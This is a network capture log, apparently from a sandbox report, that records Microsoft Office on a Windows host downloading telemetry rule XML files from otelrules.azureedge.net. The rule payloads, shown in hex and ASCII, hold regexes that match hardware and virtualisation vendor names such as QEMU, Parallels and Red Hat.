2024-11-21 21:10:31 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:30 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: c14060eb-d01e-007a-6e7d-3bf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211030Z-r1d97b99577kk29chC1TEBemmg0000000b100000000044n0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:30 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:31 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c70d6ce-001e-00ad-368c-3a554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211031Z-178bfbc474b9fdhphC1NYCac0n00000002000000000087fy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:31 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:32 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:32 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 4ad18980-501e-008c-067e-3bcd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211032Z-1777c6cb7544nvmshC1TEBf7qc0000000bg0000000008zn5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:32 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:32 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: d8899c23-b01e-003e-234e-3c8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211032Z-15b8b599d88pxmdghC1TEBux9c00000000gg00000000ffmg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:32 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:33 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 6fd3b960-801e-00ac-6c64-3bfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211033Z-178bfbc474bfw4gbhC1NYCunf4000000021000000000esfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:33 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:32 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:33 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 606a4207-501e-005b-157e-3bd7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211033Z-174c587ffdfl22mzhC1TEBk40c00000000q00000000081gk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:33 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:33 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:33 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 5f785e56-701e-0053-0854-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211033Z-178bfbc474bxkclvhC1NYC69g400000001yg00000000gyb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:33 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:34 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211034Z-178bfbc474bfw4gbhC1NYCunf400000001yg00000000vaxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:34 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:35 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 23cbbb45-601e-0084-4e3d-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211035Z-15b8b599d88wk8w4hC1TEB14b800000000c0000000003uft x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:35 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:34 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:35 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211035Z-178bfbc474bwlrhlhC1NYCy3kg000000021g00000000bsf9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 21:10:35 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:35 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 21:10:35 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 21:10:35 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9d7b10d0-e01e-0099-63bc-3bda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T211035Z-15b8b599d88pxmdghC1TEBux9c00000000f000000000fgch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 21:10:35 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 21:10:35 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
